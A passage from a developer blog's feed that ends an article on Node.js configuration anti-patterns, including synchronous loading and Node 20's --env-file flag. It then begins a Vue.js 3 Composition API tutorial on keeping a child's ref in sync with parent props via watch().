&lt;h3 id=&quot;4-non-asynchronous-configuration-loading&quot;&gt;4. Non-Asynchronous configuration loading&lt;/h3&gt;
&lt;p&gt;Another common anti-pattern I see often repeating in how configuration libraries on npm work is that they are solely based on a synchronous API.&lt;/p&gt;
&lt;p&gt;In practice, this means that the configuration is treated as “local” and loading configuration data synchronously becomes a problem when you need to fetch configuration from a remote source, such as a database or an API. For example, you might want to load your secrets from a KMS (Key Management Service) or a secrets manager like HashiCorp Vault.&lt;/p&gt;
&lt;p&gt;Sure, you can load your synchronous config first, and then have further asynchronous function calls and then wrap it all in a configuration manager factory, however most developers don’t do this to begin with because they are hard-wired to follow synchronous configuration loading due to npm packages built that way.&lt;/p&gt;
&lt;p&gt;Here are a few examples of how common this non-asynchronous configuration loading anti-pattern is, demonstrating &lt;a href=&quot;https://www.npmjs.com/package/config&quot;&gt;node-config&lt;/a&gt;, dotenv, and convict as some examples:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Example: node-config (https://www.npmjs.com/package/config)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;config&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;dbConfig&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; config.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Customer.dbConfig&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;db.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;connect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(dbConfig, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;WARNING&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;node-config&lt;/code&gt; project is actually making use of the &lt;code&gt;config&lt;/code&gt; npm package name. The &lt;code&gt;node-config&lt;/code&gt; npm package is something else entirely.&lt;/p&gt;
&lt;hr&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Example: dotenv (https://www.npmjs.com/package/dotenv)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;dotenv&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(process.env)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;how-to-load-configuration-from-environment-variables-in-nodejs&quot;&gt;How to load configuration from environment variables in Node.js ?&lt;/h2&gt;
&lt;p&gt;One last and closing section on configuration patterns in Node.js is loading configuration from environment variables.&lt;/p&gt;
&lt;p&gt;Through-out this article we’ve mentioned numerous open-source npm packages dedicated to managing a Node.js configuration in various ways:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io/advisor/npm-package/dotenv&quot;&gt;dotenv&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io/advisor/npm-package/convict&quot;&gt;convict&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io/advisor/npm-package/env-schema&quot;&gt;env-schema&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Yet, if you haven’t been following the latest Node.js 20 feature enhancements, then you might not be aware that Node.js now has built-in support for loading configuration from environment variables:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;node --env-file=.env server.js&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This new environment variables loading feature was introduced in Node.js v20.6.0 and allows you to specify an INI-compatible file format that is commonly used through-out other libraries and tools:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;PORT&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=3000&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;DB_URL&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=mongodb://localhost:27017/dev_database&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once the Node.js application starts, the &lt;code&gt;PORT&lt;/code&gt; and &lt;code&gt;DB_URL&lt;/code&gt; environment variables defined in the &lt;code&gt;.env&lt;/code&gt; file will be available to the application via: &lt;code&gt;process.env.PORT&lt;/code&gt; and &lt;code&gt;process.env.DB_URL&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In fact, if you need to pass &lt;code&gt;NODE_OPTIONS&lt;/code&gt; configuration then you can now include that in your &lt;code&gt;.env&lt;/code&gt; file too and Node.js will automatically pick it up:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;NODE_OPTIONS&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=--&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;max-old-space-size&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=4096&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;PORT&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=3000&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;This feature was added by &lt;a href=&quot;https://twitter.com/yagiznizipli&quot;&gt;Yagiz Nizipli&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Appreciate open-source developers ♥️&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;how-do-we-manage-configuration-in-nodejs-applications&quot;&gt;How do we manage configuration in Node.js applications?&lt;/h2&gt;
&lt;p&gt;My goal in this write-up was specifically about raising awareness of anti-patterns, security and maintainability issues that are common when handling configuration in Node.js applications.&lt;/p&gt;
&lt;p&gt;Friends have also shared other perspectives relating to configuration management in Node.js applications, such as &lt;a href=&quot;https://twitter.com/cjihrig&quot;&gt;Colin Ihrig&lt;/a&gt;’s blog post on &lt;a href=&quot;https://cjihrig.com/node_env_considered_harmful&quot;&gt;NODE_ENV Considered Harmful&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/shaiyallin&quot;&gt;Shai Yallin&lt;/a&gt;’s &lt;a href=&quot;https://www.shaiyallin.com/post/dotenv-considered-harmful&quot;&gt;dotenv considered harmful&lt;/a&gt; walk-through, which I recommend your read too for further perspectives.&lt;/p&gt;
&lt;p&gt;So, how do we do better?&lt;/p&gt;
&lt;p&gt;Read-up in my follow-up article &lt;a href=&quot;https://www.lirantal.com/blog/best-practices-for-bootstrapping-a-node-js-application-configuration/&quot;&gt;Best Practices for Bootstrapping a Node.js Application Configuration&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title>Vue.js Patterns: Using Vue.js 3 Composition API for Reactive Parent to Child Communication</title><link>https://lirantal.com/blog/vuejs-patterns-using-vuejs-3-composition-api-for-reactive-parent-to-child-communication/</link><guid>https://lirantal.com/blog/vuejs-patterns-using-vuejs-3-composition-api-for-reactive-parent-to-child-communication/</guid><description>Vue.js revolves around a reactivity system, which is unlike React. In this article, we will explore how to use the Vue.js 3 Composition API to create a reactive parent to child communication.</description><pubDate>Wed, 13 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here’s the use-case: A parent Vue.js component needs to pass data to a child component. It does so using &lt;code&gt;Props&lt;/code&gt;. The child component needs to receive this external data as its initial state, but also be able to mutate it internally, e.g: binding two-way data for a text input element.&lt;/p&gt;
&lt;p&gt;The limitation we face while implementing that are as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A &lt;code&gt;prop&lt;/code&gt; is designed to be immutable. The child component shouldn’t mutate the data it receives from the parent component.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ref&lt;/code&gt;s are mutable and allow you to set initial data such as &lt;code&gt;const content = ref(props.content)&lt;/code&gt;, but depending how you use them, could end up as a pitfall.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;what-is-the-issue-with-using-vuejss-refs&quot;&gt;What is the issue with using Vue.js’s &lt;code&gt;Ref&lt;/code&gt;s?&lt;/h2&gt;
&lt;p&gt;Refs are part of the Vue.js reactivity system. They are used to create reactive data and they are a proper building block of the Vue.js 3 Composition API.&lt;/p&gt;
&lt;p&gt;However, the way you might be using them, per most of the guides I’ve seen, is not going to be helpful with defined use-case.&lt;/p&gt;
&lt;p&gt;Consider the following code of a parent component:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;template&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;child-component&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;child-component&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;template&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the child component, you might be looking at using refs by binding them to an initial value that originates from the parent component’s props like so:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;setup&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { ref } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;vue&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;defineProps&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  content: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    type: String,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    default: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;ref&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(props.content);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a valid code and will technically work but you’d have to be aware of Vue.js’s lifecycle hooks to understand why it’s not the best approach.&lt;/p&gt;
&lt;p&gt;In this component &lt;code&gt;setup&lt;/code&gt; convention, the &lt;code&gt;ref()&lt;/code&gt; call would only be ever called once - when the component is mounted. This means that if the parent component changes the &lt;code&gt;content&lt;/code&gt; prop, the child component will not be aware of that change.&lt;/p&gt;
&lt;h2 id=&quot;how-to-use-refs-properly-watch-to-the-rescue&quot;&gt;How to use &lt;code&gt;Ref&lt;/code&gt;s properly? &lt;code&gt;watch()&lt;/code&gt; to the rescue!&lt;/h2&gt;
&lt;p&gt;The solution to this problem is to use the &lt;code&gt;watch()&lt;/code&gt; function, or its smarter sibling: &lt;code&gt;watchEffect()&lt;/code&gt;. Like Refs, the watch functions are a part of the Vue.js reactivity system and allow you to watch for changes in a reactive object changes, regardless of the component’s lifecycle hooks.&lt;/p&gt;
&lt;p&gt;Following is a complete code example.&lt;/p&gt;
&lt;p&gt;We’ll show how to to pass default, initial values, from a parent component to a child component and set these as values using Vuetify 3 and Vue Composition API, while also enabling two-way binding.&lt;/p&gt;
&lt;p&gt;The parent component is defined as follows, with a &lt;code&gt;content&lt;/code&gt; prop that is passed to the child component and may be dynamically changed from the parent component based on its own state:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;template&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;child-component&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;child-component&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;template&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the child component, we’ll define a text input element that will be bound to a content ref with Vue.js’s own &lt;code&gt;v-model&lt;/code&gt; directive. This will allow us to mutate the value of the &lt;code&gt;content&lt;/code&gt; ref from the child component, which achieves the two-way binding we’re looking for.&lt;/p&gt;
&lt;p&gt;Also allowing the parent component to change the value of the &lt;code&gt;content&lt;/code&gt; prop, which will be reflected in the child component.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;template&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-text-field&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;v-model&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;template&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;setup&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { ref } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;vue&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;defineProps&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  content: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    type: String,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    default: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;ref&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(props.content);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To allow the child component to be aware of changes in the props passed to it we’ll use the &lt;code&gt;watchEffect()&lt;/code&gt; function to watch for changes in the &lt;code&gt;content&lt;/code&gt; prop. This will allow us to update the value of the &lt;code&gt;content&lt;/code&gt; ref, which will be reflected in the child component.&lt;/p&gt;
&lt;p&gt;Add the following code to the child component in the global scope next to the &lt;code&gt;content&lt;/code&gt; variable definition:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;setup&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { watch } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;vue&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;watch&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; props.content,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { content.value &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; props.content }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s explain what is going on here with the &lt;code&gt;watch()&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;watch&lt;/code&gt; function you see here is part of Vue’s Composition API. Its purpose is to observe and react to changes on a specific reactive source. It could be a simple reactive reference (like a &lt;code&gt;ref&lt;/code&gt;), or it could be a function that returns a reactive source.&lt;/p&gt;
&lt;p&gt;Here’s how it works:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
